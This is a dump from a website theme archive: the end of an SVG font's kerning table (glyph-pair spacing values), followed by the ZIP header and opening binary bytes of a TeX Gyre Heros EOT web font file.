<hkern u1="r" u2="&#xff;" k="-25" />
<hkern u1="r" u2="&#xf8;" k="5" />
<hkern u1="r" u2="&#xf6;" k="5" />
<hkern u1="r" u2="&#xf5;" k="5" />
<hkern u1="r" u2="&#xf4;" k="5" />
<hkern u1="r" u2="&#xf3;" k="5" />
<hkern u1="r" u2="&#xf2;" k="5" />
<hkern u1="r" u2="&#xeb;" k="10" />
<hkern u1="r" u2="&#xea;" k="10" />
<hkern u1="r" u2="&#xe9;" k="10" />
<hkern u1="r" u2="&#xe8;" k="10" />
<hkern u1="r" u2="&#xe7;" k="5" />
<hkern u1="r" u2="&#xe5;" k="5" />
<hkern u1="r" u2="&#xe4;" k="5" />
<hkern u1="r" u2="&#xe3;" k="5" />
<hkern u1="r" u2="&#xe2;" k="5" />
<hkern u1="r" u2="&#xe1;" k="5" />
<hkern u1="r" u2="&#xe0;" k="5" />
<hkern u1="r" u2="z" k="-10" />
<hkern u1="r" u2="y" k="-25" />
<hkern u1="r" u2="x" k="-20" />
<hkern u1="r" u2="w" k="-30" />
<hkern u1="r" u2="v" k="-30" />
<hkern u1="r" u2="t" k="-30" />
<hkern u1="r" u2="s" k="-5" />
<hkern u1="r" u2="q" k="5" />
<hkern u1="r" u2="p" k="-10" />
<hkern u1="r" u2="o" k="5" />
<hkern u1="r" u2="k" k="-5" />
<hkern u1="r" u2="g" k="5" />
<hkern u1="r" u2="f" k="-25" />
<hkern u1="r" u2="e" k="10" />
<hkern u1="r" u2="c" k="5" />
<hkern u1="r" u2="a" k="5" />
<hkern u1="r" u2="&#x3b;" k="20" />
<hkern u1="r" u2="&#x3a;" k="20" />
<hkern u1="r" u2="&#x2e;" k="70" />
<hkern u1="r" u2="&#x2d;" k="45" />
<hkern u1="r" u2="&#x2c;" k="70" />
<hkern u1="s" u2="&#x2019;" k="20" />
<hkern u1="s" u2="t" k="5" />
<hkern u1="t" u2="&#xf8;" k="10" />
<hkern u1="t" u2="&#xf6;" k="10" />
<hkern u1="t" u2="&#xf5;" k="10" />
<hkern u1="t" u2="&#xf4;" k="10" />
<hkern u1="t" u2="&#xf3;" k="10" />
<hkern u1="t" u2="&#xf2;" k="10" />
<hkern u1="t" u2="&#xeb;" k="15" />
<hkern u1="t" u2="&#xea;" k="15" />
<hkern u1="t" u2="&#xe9;" k="15" />
<hkern u1="t" u2="&#xe8;" k="15" />
<hkern u1="t" u2="o" k="10" />
<hkern u1="t" u2="h" k="5" />
<hkern u1="t" u2="e" k="15" />
<hkern u1="t" u2="S" k="10" />
<hkern u1="t" u2="&#x3b;" k="30" />
<hkern u1="t" u2="&#x3a;" k="30" />
<hkern u1="u" u2="&#x2019;" k="10" />
<hkern u1="v" u2="&#x153;" k="10" />
<hkern u1="v" u2="&#xf8;" k="15" />
<hkern u1="v" u2="&#xf6;" k="15" />
<hkern u1="v" u2="&#xf5;" k="15" />
<hkern u1="v" u2="&#xf4;" k="15" />
<hkern u1="v" u2="&#xf3;" k="15" />
<hkern u1="v" u2="&#xf2;" k="15" />
<hkern u1="v" u2="&#xeb;" k="20" />
<hkern u1="v" u2="&#xea;" k="20" />
<hkern u1="v" u2="&#xe9;" k="20" />
<hkern u1="v" u2="&#xe8;" k="20" />
<hkern u1="v" u2="&#xe7;" k="15" />
<hkern u1="v" u2="&#xe6;" k="15" />
<hkern u1="v" u2="&#xe5;" k="20" />
<hkern u1="v" u2="&#xe4;" k="20" />
<hkern u1="v" u2="&#xe3;" k="20" />
<hkern u1="v" u2="&#xe2;" k="20" />
<hkern u1="v" u2="&#xe1;" k="20" />
<hkern u1="v" u2="&#xe0;" k="20" />
<hkern u1="v" u2="s" k="10" />
<hkern u1="v" u2="o" k="15" />
<hkern u1="v" u2="g" k="15" />
<hkern u1="v" u2="e" k="20" />
<hkern u1="v" u2="c" k="15" />
<hkern u1="v" u2="a" k="20" />
<hkern u1="v" u2="&#x3b;" k="25" />
<hkern u1="v" u2="&#x3a;" k="25" />
<hkern u1="v" u2="&#x2e;" k="70" />
<hkern u1="v" u2="&#x2d;" k="10" />
<hkern u1="v" u2="&#x2c;" k="70" />
<hkern u1="w" u2="&#x153;" k="10" />
<hkern u1="w" u2="&#xf8;" k="10" />
<hkern u1="w" u2="&#xf6;" k="10" />
<hkern u1="w" u2="&#xeb;" k="10" />
<hkern u1="w" u2="&#xe7;" k="5" />
<hkern u1="w" u2="&#xe6;" k="15" />
<hkern u1="w" u2="&#xe5;" k="15" />
<hkern u1="w" u2="&#xe4;" k="15" />
<hkern u1="w" u2="s" k="5" />
<hkern u1="w" u2="o" k="10" />
<hkern u1="w" u2="g" k="5" />
<hkern u1="w" u2="e" k="10" />
<hkern u1="w" u2="c" k="5" />
<hkern u1="w" u2="a" k="15" />
<hkern u1="w" u2="&#x3b;" k="25" />
<hkern u1="w" u2="&#x3a;" k="25" />
<hkern u1="w" u2="&#x2e;" k="50" />
<hkern u1="w" u2="&#x2c;" k="50" />
<hkern u1="x" u2="&#xf8;" k="25" />
<hkern u1="x" u2="&#xf6;" k="25" />
<hkern u1="x" u2="&#xf5;" k="25" />
<hkern u1="x" u2="&#xf4;" k="25" />
<hkern u1="x" u2="&#xf3;" k="25" />
<hkern u1="x" u2="&#xf2;" k="25" />
<hkern u1="x" u2="&#xeb;" k="30" />
<hkern u1="x" u2="&#xea;" k="30" />
<hkern u1="x" u2="&#xe9;" k="30" />
<hkern u1="x" u2="&#xe8;" k="30" />
<hkern u1="x" u2="&#xe7;" k="25" />
<hkern u1="x" u2="&#xe5;" k="15" />
<hkern u1="x" u2="&#xe4;" k="15" />
<hkern u1="x" u2="&#xe3;" k="15" />
<hkern u1="x" u2="&#xe2;" k="15" />
<hkern u1="x" u2="&#xe1;" k="15" />
<hkern u1="x" u2="&#xe0;" k="15" />
<hkern u1="x" u2="q" k="20" />
<hkern u1="x" u2="o" k="25" />
<hkern u1="x" u2="e" k="30" />
<hkern u1="x" u2="c" k="25" />
<hkern u1="x" u2="a" k="15" />
<hkern u1="y" u2="&#x153;" k="10" />
<hkern u1="y" u2="&#xf8;" k="20" />
<hkern u1="y" u2="&#xf6;" k="20" />
<hkern u1="y" u2="&#xeb;" k="25" />
<hkern u1="y" u2="&#xea;" k="25" />
<hkern u1="y" u2="&#xe7;" k="20" />
<hkern u1="y" u2="&#xe6;" k="15" />
<hkern u1="y" u2="&#xe5;" k="20" />
<hkern u1="y" u2="&#xe4;" k="20" />
<hkern u1="y" u2="s" k="10" />
<hkern u1="y" u2="o" k="20" />
<hkern u1="y" u2="l" k="5" />
<hkern u1="y" u2="g" k="15" />
<hkern u1="y" u2="e" k="25" />
<hkern u1="y" u2="c" k="20" />
<hkern u1="y" u2="a" k="20" />
<hkern u1="y" u2="&#x3b;" k="25" />
<hkern u1="y" u2="&#x3a;" k="25" />
<hkern u1="y" u2="&#x2e;" k="70" />
<hkern u1="y" u2="&#x2d;" k="15" />
<hkern u1="y" u2="&#x2c;" k="70" />
<hkern u1="&#xbb;" u2="&#x178;" k="135" />
<hkern u1="&#xbb;" u2="&#xc6;" k="55" />
<hkern u1="&#xbb;" u2="&#xc5;" k="50" />
<hkern u1="&#xbb;" u2="&#xc4;" k="50" />
<hkern u1="&#xbb;" u2="Y" k="135" />
<hkern u1="&#xbb;" u2="W" k="65" />
<hkern u1="&#xbb;" u2="V" k="95" />
<hkern u1="&#xbb;" u2="T" k="125" />
<hkern u1="&#xbb;" u2="A" k="50" />
<hkern u1="&#xc0;" u2="y" k="35" />
<hkern u1="&#xc0;" u2="u" k="10" />
<hkern u1="&#xc0;" u2="o" k="15" />
<hkern u1="&#xc0;" u2="Y" k="100" />
<hkern u1="&#xc0;" u2="U" k="35" />
<hkern u1="&#xc0;" u2="O" k="35" />
<hkern u1="&#xc1;" u2="y" k="35" />
<hkern u1="&#xc1;" u2="u" k="10" />
<hkern u1="&#xc1;" u2="t" k="15" />
<hkern u1="&#xc1;" u2="o" k="15" />
<hkern u1="&#xc1;" u2="c" k="10" />
<hkern u1="&#xc1;" u2="Y" k="100" />
<hkern u1="&#xc1;" u2="U" k="35" />
<hkern u1="&#xc1;" u2="T" k="95" />
<hkern u1="&#xc1;" u2="O" k="35" />
<hkern u1="&#xc1;" u2="C" k="35" />
<hkern u1="&#xc2;" u2="y" k="35" />
<hkern u1="&#xc2;" u2="u" k="10" />
<hkern u1="&#xc2;" u2="Y" k="100" />
<hkern u1="&#xc2;" u2="U" k="35" />
<hkern u1="&#xc3;" u2="y" k="35" />
<hkern u1="&#xc3;" u2="o" k="15" />
<hkern u1="&#xc3;" u2="Y" k="100" />
<hkern u1="&#xc3;" u2="O" k="35" />
<hkern u1="&#xc4;" u2="&#x2039;" k="40" />
<hkern u1="&#xc4;" u2="&#x201d;" k="55" />
<hkern u1="&#xc4;" u2="&#x2019;" k="65" />
<hkern u1="&#xc4;" u2="&#x178;" k="100" />
<hkern u1="&#xc4;" u2="&#xff;" k="35" />
<hkern u1="&#xc4;" u2="&#xfc;" k="10" />
<hkern u1="&#xc4;" u2="&#xfb;" k="10" />
<hkern u1="&#xc4;" u2="&#xf8;" k="15" />
<hkern u1="&#xc4;" u2="&#xf6;" k="15" />
<hkern u1="&#xc4;" u2="&#xeb;" k="15" />
<hkern u1="&#xc4;" u2="&#xe7;" k="10" />
<hkern u1="&#xc4;" u2="&#xe5;" k="5" />
<hkern u1="&#xc4;" u2="&#xe4;" k="5" />
<hkern u1="&#xc4;" u2="&#xdc;" k="35" />
<hkern u1="&#xc4;" u2="&#xdb;" k="35" />
<hkern u1="&#xc4;" u2="&#xd8;" k="35" />
<hkern u1="&#xc4;" u2="&#xd6;" k="35" />
<hkern u1="&#xc4;" u2="&#xc7;" k="35" />
<hkern u1="&#xc4;" u2="&#xab;" k="45" />
<hkern u1="&#xc4;" u2="y" k="35" />
<hkern u1="&#xc4;" u2="w" k="20" />
<hkern u1="&#xc4;" u2="v" k="30" />
<hkern u1="&#xc4;" u2="u" k="10" />
<hkern u1="&#xc4;" u2="t" k="15" />
<hkern u1="&#xc4;" u2="q" k="10" />
<hkern u1="&#xc4;" u2="o" k="15" />
<hkern u1="&#xc4;" u2="g" k="10" />
<hkern u1="&#xc4;" u2="e" k="15" />
<hkern u1="&#xc4;" u2="d" k="10" />
<hkern u1="&#xc4;" u2="c" k="10" />
<hkern u1="&#xc4;" u2="b" k="-5" />
<hkern u1="&#xc4;" u2="a" k="5" />
<hkern u1="&#xc4;" u2="Y" k="100" />
<hkern u1="&#xc4;" u2="W" k="50" />
<hkern u1="&#xc4;" u2="V" k="75" />
<hkern u1="&#xc4;" u2="U" k="35" />
<hkern u1="&#xc4;" u2="T" k="95" />
<hkern u1="&#xc4;" u2="Q" k="30" />
<hkern u1="&#xc4;" u2="O" k="35" />
<hkern u1="&#xc4;" u2="G" k="35" />
<hkern u1="&#xc4;" u2="C" k="35" />
<hkern u1="&#xc4;" u2="&#x2e;" k="-5" />
<hkern u1="&#xc4;" u2="&#x2d;" k="5" />
<hkern u1="&#xc4;" u2="&#x2c;" k="-5" />
<hkern u1="&#xc5;" u2="&#x2039;" k="40" />
<hkern u1="&#xc5;" u2="&#x201d;" k="55" />
<hkern u1="&#xc5;" u2="&#x2019;" k="65" />
<hkern u1="&#xc5;" u2="&#x178;" k="100" />
<hkern u1="&#xc5;" u2="&#xff;" k="35" />
<hkern u1="&#xc5;" u2="&#xfc;" k="10" />
<hkern u1="&#xc5;" u2="&#xfb;" k="10" />
<hkern u1="&#xc5;" u2="&#xf8;" k="15" />
<hkern u1="&#xc5;" u2="&#xf6;" k="15" />
<hkern u1="&#xc5;" u2="&#xeb;" k="15" />
<hkern u1="&#xc5;" u2="&#xe7;" k="10" />
<hkern u1="&#xc5;" u2="&#xe5;" k="5" />
<hkern u1="&#xc5;" u2="&#xe4;" k="5" />
<hkern u1="&#xc5;" u2="&#xdc;" k="35" />
<hkern u1="&#xc5;" u2="&#xdb;" k="35" />
<hkern u1="&#xc5;" u2="&#xd8;" k="35" />
<hkern u1="&#xc5;" u2="&#xd6;" k="35" />
<hkern u1="&#xc5;" u2="&#xc7;" k="35" />
<hkern u1="&#xc5;" u2="&#xab;" k="45" />
<hkern u1="&#xc5;" u2="y" k="35" />
<hkern u1="&#xc5;" u2="w" k="20" />
<hkern u1="&#xc5;" u2="v" k="30" />
<hkern u1="&#xc5;" u2="u" k="10" />
<hkern u1="&#xc5;" u2="t" k="15" />
<hkern u1="&#xc5;" u2="q" k="10" />
<hkern u1="&#xc5;" u2="o" k="15" />
<hkern u1="&#xc5;" u2="g" k="10" />
<hkern u1="&#xc5;" u2="e" k="15" />
<hkern u1="&#xc5;" u2="d" k="10" />
<hkern u1="&#xc5;" u2="c" k="10" />
<hkern u1="&#xc5;" u2="b" k="-5" />
<hkern u1="&#xc5;" u2="a" k="5" />
<hkern u1="&#xc5;" u2="Y" k="100" />
<hkern u1="&#xc5;" u2="W" k="50" />
<hkern u1="&#xc5;" u2="V" k="75" />
<hkern u1="&#xc5;" u2="U" k="35" />
<hkern u1="&#xc5;" u2="T" k="95" />
<hkern u1="&#xc5;" u2="Q" k="30" />
<hkern u1="&#xc5;" u2="O" k="35" />
<hkern u1="&#xc5;" u2="G" k="35" />
<hkern u1="&#xc5;" u2="C" k="35" />
<hkern u1="&#xc5;" u2="&#x2e;" k="-5" />
<hkern u1="&#xc5;" u2="&#x2d;" k="5" />
<hkern u1="&#xc5;" u2="&#x2c;" k="-5" />
<hkern u1="&#xc7;" u2="&#xd8;" k="10" />
<hkern u1="&#xc7;" u2="&#xd6;" k="10" />
<hkern u1="&#xc7;" u2="&#xc6;" k="35" />
<hkern u1="&#xc7;" u2="&#xc5;" k="30" />
<hkern u1="&#xc7;" u2="&#xc4;" k="30" />
<hkern u1="&#xc7;" u2="O" k="10" />
<hkern u1="&#xc7;" u2="K" k="10" />
<hkern u1="&#xc7;" u2="H" k="10" />
<hkern u1="&#xc7;" u2="A" k="30" />
<hkern u1="&#xd1;" u2="&#xe5;" k="5" />
<hkern u1="&#xd1;" u2="&#xe4;" k="5" />
<hkern u1="&#xd1;" u2="&#xc7;" k="5" />
<hkern u1="&#xd1;" u2="&#xc6;" k="5" />
<hkern u1="&#xd1;" u2="&#xc5;" k="10" />
<hkern u1="&#xd1;" u2="&#xc4;" k="10" />
<hkern u1="&#xd1;" u2="a" k="5" />
<hkern u1="&#xd1;" u2="C" k="5" />
<hkern u1="&#xd1;" u2="A" k="10" />
<hkern u1="&#xd1;" u2="&#x2e;" k="5" />
<hkern u1="&#xd1;" u2="&#x2c;" k="5" />
<hkern u1="&#xd2;" u2="A" k="35" />
<hkern u1="&#xd3;" u2="T" k="40" />
<hkern u1="&#xd3;" u2="A" k="35" />
<hkern u1="&#xd6;" u2="&#x178;" k="60" />
<hkern u1="&#xd6;" u2="&#xc6;" k="40" />
<hkern u1="&#xd6;" u2="&#xc5;" k="35" />
<hkern u1="&#xd6;" u2="&#xc4;" k="35" />
<hkern u1="&#xd6;" u2="Y" k="60" />
<hkern u1="&#xd6;" u2="X" k="45" />
<hkern u1="&#xd6;" u2="W" k="25" />
<hkern u1="&#xd6;" u2="V" k="45" />
<hkern u1="&#xd6;" u2="T" k="40" />
<hkern u1="&#xd6;" u2="A" k="35" />
<hkern u1="&#xd8;" u2="&#x178;" k="60" />
<hkern u1="&#xd8;" u2="&#xc6;" k="40" />
<hkern u1="&#xd8;" u2="&#xc5;" k="35" />
<hkern u1="&#xd8;" u2="&#xc4;" k="35" />
<hkern u1="&#xd8;" u2="Y" k="60" />
<hkern u1="&#xd8;" u2="X" k="45" />
<hkern u1="&#xd8;" u2="W" k="25" />
<hkern u1="&#xd8;" u2="V" k="45" />
<hkern u1="&#xd8;" u2="T" k="40" />
<hkern u1="&#xd8;" u2="A" k="35" />
<hkern u1="&#xd9;" u2="&#xf1;" k="5" />
<hkern u1="&#xd9;" u2="n" k="5" />
<hkern u1="&#xd9;" u2="m" k="5" />
<hkern u1="&#xd9;" u2="A" k="35" />
<hkern u1="&#xda;" u2="&#xf1;" k="5" />
<hkern u1="&#xda;" u2="p" k="-5" />
<hkern u1="&#xda;" u2="n" k="5" />
<hkern u1="&#xda;" u2="m" k="5" />
<hkern u1="&#xda;" u2="A" k="35" />
<hkern u1="&#xdb;" u2="&#xf1;" k="5" />
<hkern u1="&#xdb;" u2="&#xc6;" k="40" />
<hkern u1="&#xdb;" u2="&#xc5;" k="35" />
<hkern u1="&#xdb;" u2="&#xc4;" k="35" />
<hkern u1="&#xdb;" u2="r" k="5" />
<hkern u1="&#xdb;" u2="p" k="-5" />
<hkern u1="&#xdb;" u2="n" k="5" />
<hkern u1="&#xdb;" u2="m" k="5" />
<hkern u1="&#xdb;" u2="A" k="35" />
<hkern u1="&#xdb;" u2="&#x2e;" k="25" />
<hkern u1="&#xdb;" u2="&#x2c;" k="25" />
<hkern u1="&#xdc;" u2="&#xf1;" k="5" />
<hkern u1="&#xdc;" u2="&#xc6;" k="40" />
<hkern u1="&#xdc;" u2="&#xc5;" k="35" />
<hkern u1="&#xdc;" u2="&#xc4;" k="35" />
<hkern u1="&#xdc;" u2="r" k="5" />
<hkern u1="&#xdc;" u2="p" k="-5" />
<hkern u1="&#xdc;" u2="n" k="5" />
<hkern u1="&#xdc;" u2="m" k="5" />
<hkern u1="&#xdc;" u2="A" k="35" />
<hkern u1="&#xdc;" u2="&#x2e;" k="25" />
<hkern u1="&#xdc;" u2="&#x2c;" k="25" />
<hkern u1="&#xdd;" u2="&#x153;" k="30" />
<hkern u1="&#xdd;" u2="&#x152;" k="20" />
<hkern u1="&#xdd;" u2="&#xfc;" k="35" />
<hkern u1="&#xdd;" u2="&#xfb;" k="35" />
<hkern u1="&#xdd;" u2="&#xfa;" k="50" />
<hkern u1="&#xdd;" u2="&#xf9;" k="35" />
<hkern u1="&#xdd;" u2="&#xf6;" k="45" />
<hkern u1="&#xdd;" u2="&#xf5;" k="45" />
<hkern u1="&#xdd;" u2="&#xf4;" k="45" />
<hkern u1="&#xdd;" u2="&#xf3;" k="65" />
<hkern u1="&#xdd;" u2="&#xf2;" k="45" />
<hkern u1="&#xdd;" u2="&#xeb;" k="45" />
<hkern u1="&#xdd;" u2="&#xea;" k="45" />
<hkern u1="&#xdd;" u2="&#xe9;" k="70" />
<hkern u1="&#xdd;" u2="&#xe8;" k="45" />
<hkern u1="&#xdd;" u2="&#xe6;" k="40" />
<hkern u1="&#xdd;" u2="&#xe5;" k="45" />
<hkern u1="&#xdd;" u2="&#xe4;" k="45" />
<hkern u1="&#xdd;" u2="&#xe3;" k="45" />
<hkern u1="&#xdd;" u2="&#xe2;" k="45" />
<hkern u1="&#xdd;" u2="&#xe1;" k="70" />
<hkern u1="&#xdd;" u2="&#xe0;" k="45" />
<hkern u1="&#xdd;" u2="&#xc6;" k="50" />
<hkern u1="&#xdd;" u2="T" k="-25" />
<hkern u1="&#xdd;" u2="C" k="60" />
<hkern u1="&#xe0;" u2="y" k="25" />
<hkern u1="&#xe1;" u2="y" k="25" />
<hkern u1="&#xe2;" u2="y" k="25" />
<hkern u1="&#xe3;" u2="y" k="25" />
<hkern u1="&#xe4;" u2="&#x2019;" k="25" />
<hkern u1="&#xe4;" u2="&#xff;" k="25" />
<hkern u1="&#xe4;" u2="y" k="25" />
<hkern u1="&#xe4;" u2="w" k="15" />
<hkern u1="&#xe4;" u2="v" k="20" />
<hkern u1="&#xe5;" u2="&#x2019;" k="25" />
<hkern u1="&#xe5;" u2="&#xff;" k="25" />
<hkern u1="&#xe5;" u2="y" k="25" />
<hkern u1="&#xe5;" u2="w" k="15" />
<hkern u1="&#xe5;" u2="v" k="20" />
<hkern u1="&#xe6;" u2="&#xff;" k="20" />
<hkern u1="&#xe6;" u2="y" k="20" />
<hkern u1="&#xe6;" u2="w" k="10" />
<hkern u1="&#xe6;" u2="v" k="15" />
<hkern u1="&#xe7;" u2="k" k="-5" />
<hkern u1="&#xe8;" u2="t" k="10" />
<hkern u1="&#xe9;" u2="t" k="10" />
<hkern u1="&#xea;" u2="t" k="10" />
<hkern u1="&#xeb;" u2="&#x2019;" k="20" />
<hkern u1="&#xeb;" u2="&#xff;" k="20" />
<hkern u1="&#xeb;" u2="y" k="20" />
<hkern u1="&#xeb;" u2="x" k="25" />
<hkern u1="&#xeb;" u2="w" k="10" />
<hkern u1="&#xeb;" u2="v" k="15" />
<hkern u1="&#xeb;" u2="t" k="10" />
<hkern u1="&#xf1;" u2="&#x2019;" k="15" />
<hkern u1="&#xf1;" u2="&#xff;" k="20" />
<hkern u1="&#xf1;" u2="y" k="20" />
<hkern u1="&#xf1;" u2="w" k="5" />
<hkern u1="&#xf1;" u2="v" k="15" />
<hkern u1="&#xf1;" u2="p" k="-5" />
<hkern u1="&#xf1;" u2="T" k="95" />
<hkern u1="&#xf3;" u2="t" k="10" />
<hkern u1="&#xf3;" u2="T" k="100" />
<hkern u1="&#xf6;" u2="&#x2019;" k="20" />
<hkern u1="&#xf6;" u2="&#xff;" k="20" />
<hkern u1="&#xf6;" u2="y" k="20" />
<hkern u1="&#xf6;" u2="x" k="25" />
<hkern u1="&#xf6;" u2="w" k="10" />
<hkern u1="&#xf6;" u2="v" k="20" />
<hkern u1="&#xf6;" u2="t" k="10" />
<hkern u1="&#xf6;" u2="T" k="100" />
<hkern u1="&#xf8;" u2="&#x2019;" k="20" />
<hkern u1="&#xf8;" u2="&#xff;" k="20" />
<hkern u1="&#xf8;" u2="y" k="20" />
<hkern u1="&#xf8;" u2="x" k="25" />
<hkern u1="&#xf8;" u2="w" k="10" />
<hkern u1="&#xf8;" u2="v" k="20" />
<hkern u1="&#xf8;" u2="t" k="10" />
<hkern u1="&#xf8;" u2="T" k="100" />
<hkern u1="&#xfb;" u2="&#x2019;" k="10" />
<hkern u1="&#xfc;" u2="&#x2019;" k="10" />
<hkern u1="&#xfd;" u2="&#x153;" k="10" />
<hkern u1="&#xfd;" u2="&#xe6;" k="15" />
<hkern u1="&#xfd;" u2="c" k="20" />
<hkern u1="&#xff;" u2="&#x153;" k="10" />
<hkern u1="&#xff;" u2="&#xf8;" k="20" />
<hkern u1="&#xff;" u2="&#xf6;" k="20" />
<hkern u1="&#xff;" u2="&#xeb;" k="25" />
<hkern u1="&#xff;" u2="&#xe7;" k="20" />
<hkern u1="&#xff;" u2="&#xe6;" k="15" />
<hkern u1="&#xff;" u2="&#xe5;" k="20" />
<hkern u1="&#xff;" u2="&#xe4;" k="20" />
<hkern u1="&#xff;" u2="s" k="10" />
<hkern u1="&#xff;" u2="o" k="20" />
<hkern u1="&#xff;" u2="l" k="5" />
<hkern u1="&#xff;" u2="g" k="15" />
<hkern u1="&#xff;" u2="e" k="25" />
<hkern u1="&#xff;" u2="c" k="20" />
<hkern u1="&#xff;" u2="a" k="20" />
<hkern u1="&#xff;" u2="&#x3b;" k="25" />
<hkern u1="&#xff;" u2="&#x3a;" k="25" />
<hkern u1="&#xff;" u2="&#x2e;" k="70" />
<hkern u1="&#xff;" u2="&#x2d;" k="15" />
<hkern u1="&#xff;" u2="&#x2c;" k="70" />
<hkern u1="&#x178;" u2="&#x2039;" k="120" />
<hkern u1="&#x178;" u2="&#x153;" k="30" />
<hkern u1="&#x178;" u2="&#x152;" k="20" />
<hkern u1="&#x178;" u2="&#xfc;" k="35" />
<hkern u1="&#x178;" u2="&#xfb;" k="35" />
<hkern u1="&#x178;" u2="&#xfa;" k="50" />
<hkern u1="&#x178;" u2="&#xf9;" k="35" />
<hkern u1="&#x178;" u2="&#xf8;" k="85" />
<hkern u1="&#x178;" u2="&#xf6;" k="45" />
<hkern u1="&#x178;" u2="&#xf5;" k="45" />
<hkern u1="&#x178;" u2="&#xf4;" k="45" />
<hkern u1="&#x178;" u2="&#xf3;" k="65" />
<hkern u1="&#x178;" u2="&#xf2;" k="45" />
<hkern u1="&#x178;" u2="&#xeb;" k="45" />
<hkern u1="&#x178;" u2="&#xea;" k="45" />
<hkern u1="&#x178;" u2="&#xe9;" k="70" />
<hkern u1="&#x178;" u2="&#xe8;" k="45" />
<hkern u1="&#x178;" u2="&#xe6;" k="40" />
<hkern u1="&#x178;" u2="&#xe5;" k="45" />
<hkern u1="&#x178;" u2="&#xe4;" k="45" />
<hkern u1="&#x178;" u2="&#xe3;" k="45" />
<hkern u1="&#x178;" u2="&#xe2;" k="45" />
<hkern u1="&#x178;" u2="&#xe1;" k="70" />
<hkern u1="&#x178;" u2="&#xe0;" k="45" />
<hkern u1="&#x178;" u2="&#xd8;" k="55" />
<hkern u1="&#x178;" u2="&#xd6;" k="55" />
<hkern u1="&#x178;" u2="&#xc7;" k="60" />
<hkern u1="&#x178;" u2="&#xc6;" k="50" />
<hkern u1="&#x178;" u2="&#xc5;" k="95" />
<hkern u1="&#x178;" u2="&#xc4;" k="95" />
<hkern u1="&#x178;" u2="&#xab;" k="125" />
<hkern u1="&#x178;" u2="v" k="35" />
<hkern u1="&#x178;" u2="u" k="65" />
<hkern u1="&#x178;" u2="p" k="55" />
<hkern u1="&#x178;" u2="o" k="85" />
<hkern u1="&#x178;" u2="g" k="85" />
<hkern u1="&#x178;" u2="e" k="90" />
<hkern u1="&#x178;" u2="a" k="90" />
<hkern u1="&#x178;" u2="T" k="-25" />
<hkern u1="&#x178;" u2="S" k="40" />
<hkern u1="&#x178;" u2="O" k="55" />
<hkern u1="&#x178;" u2="G" k="60" />
<hkern u1="&#x178;" u2="C" k="60" />
<hkern u1="&#x178;" u2="A" k="95" />
<hkern u1="&#x178;" u2="&#x3b;" k="90" />
<hkern u1="&#x178;" u2="&#x3a;" k="85" />
<hkern u1="&#x178;" u2="&#x2e;" k="110" />
<hkern u1="&#x178;" u2="&#x2d;" k="85" />
<hkern u1="&#x178;" u2="&#x2c;" k="110" />
<hkern u1="&#x2018;" u2="&#x178;" k="10" />
<hkern u1="&#x2018;" u2="&#xc6;" k="80" />
<hkern u1="&#x2018;" u2="&#xc5;" k="65" />
<hkern u1="&#x2018;" u2="&#xc4;" k="65" />
<hkern u1="&#x2018;" u2="Y" k="10" />
<hkern u1="&#x2018;" u2="W" k="-10" />
<hkern u1="&#x2018;" u2="T" k="5" />
<hkern u1="&#x2018;" u2="A" k="65" />
<hkern u1="&#x2019;" u2="&#xff;" k="5" />
<hkern u1="&#x2019;" u2="&#xf8;" k="25" />
<hkern u1="&#x2019;" u2="&#xf6;" k="25" />
<hkern u1="&#x2019;" u2="&#xc6;" k="85" />
<hkern u1="&#x2019;" u2="&#xc5;" k="70" />
<hkern u1="&#x2019;" u2="&#xc4;" k="70" />
<hkern u1="&#x2019;" u2="y" k="5" />
<hkern u1="&#x2019;" u2="t" k="5" />
<hkern u1="&#x2019;" u2="s" k="20" />
<hkern u1="&#x2019;" u2="r" k="20" />
<hkern u1="&#x2019;" u2="o" k="25" />
<hkern u1="&#x2019;" u2="d" k="20" />
<hkern u1="&#x2019;" u2="A" k="70" />
<hkern u1="&#x2019;" u2="&#x2e;" k="60" />
<hkern u1="&#x2019;" u2="&#x2c;" k="60" />
<hkern u1="&#x201c;" u2="&#x178;" k="-5" />
<hkern u1="&#x201c;" u2="&#xc6;" k="65" />
<hkern u1="&#x201c;" u2="&#xc5;" k="50" />
<hkern u1="&#x201c;" u2="&#xc4;" k="50" />
<hkern u1="&#x201c;" u2="Y" k="-5" />
<hkern u1="&#x201c;" u2="W" k="-25" />
<hkern u1="&#x201c;" u2="V" k="-15" />
<hkern u1="&#x201c;" u2="T" k="-10" />
<hkern u1="&#x201c;" u2="A" k="50" />
<hkern u1="&#x201d;" u2="&#x178;" k="-5" />
<hkern u1="&#x201d;" u2="&#xc6;" k="65" />
<hkern u1="&#x201d;" u2="&#xc5;" k="55" />
<hkern u1="&#x201d;" u2="&#xc4;" k="55" />
<hkern u1="&#x201d;" u2="Y" k="-5" />
<hkern u1="&#x201d;" u2="W" k="-25" />
<hkern u1="&#x201d;" u2="V" k="-15" />
<hkern u1="&#x201d;" u2="T" k="-10" />
<hkern u1="&#x201d;" u2="A" k="55" />
<hkern u1="&#x201e;" u2="&#x178;" k="90" />
<hkern u1="&#x201e;" u2="&#xc6;" k="-30" />
<hkern u1="&#x201e;" u2="&#xc5;" k="-30" />
<hkern u1="&#x201e;" u2="&#xc4;" k="-30" />
<hkern u1="&#x201e;" u2="Y" k="90" />
<hkern u1="&#x201e;" u2="W" k="35" />
<hkern u1="&#x201e;" u2="V" k="70" />
<hkern u1="&#x201e;" u2="T" k="75" />
<hkern u1="&#x201e;" u2="A" k="-30" />
<hkern u1="&#x203a;" u2="&#x178;" k="130" />
<hkern u1="&#x203a;" u2="&#xc6;" k="50" />
<hkern u1="&#x203a;" u2="&#xc5;" k="45" />
<hkern u1="&#x203a;" u2="&#xc4;" k="45" />
<hkern u1="&#x203a;" u2="Y" k="130" />
<hkern u1="&#x203a;" u2="W" k="60" />
<hkern u1="&#x203a;" u2="V" k="90" />
<hkern u1="&#x203a;" u2="T" k="120" />
<hkern u1="&#x203a;" u2="A" k="45" />
</font>
</defs></svg> PK!2�ڲU�U;bluetheme/assets/fonts/Tex/texgyreheros-regular-webfont.eotnu&1i��UxT�LP� � ��HTeXGyreHerosRegulartVersion 1.103;PS 1.103;hotconv 1.0.49;makeotf.lib2.0.14853(TeXGyreHeros RegularBSGP�7�<�2����xZW�h[qJx"c�r,g,E�&�C�������@��X��Y�˷�'T�k
��qq��p1Í�Pϕ���0����4����h3:E���.;�(~8���+OO�&�4�.!�����q�Q��tp+�M��hZ\Y��ᱵ�#�Q5BWRC<��ë?�L!M�uI$?��][QЈ
����-�8�2b���$D�Dj�l�a����?���9~�0�8��� �"Ӑ:g=4t�9`�J�#��fj��ڞ�p���)���3�3}�N��Hd�pC�(��(@�H	�i�'My ���
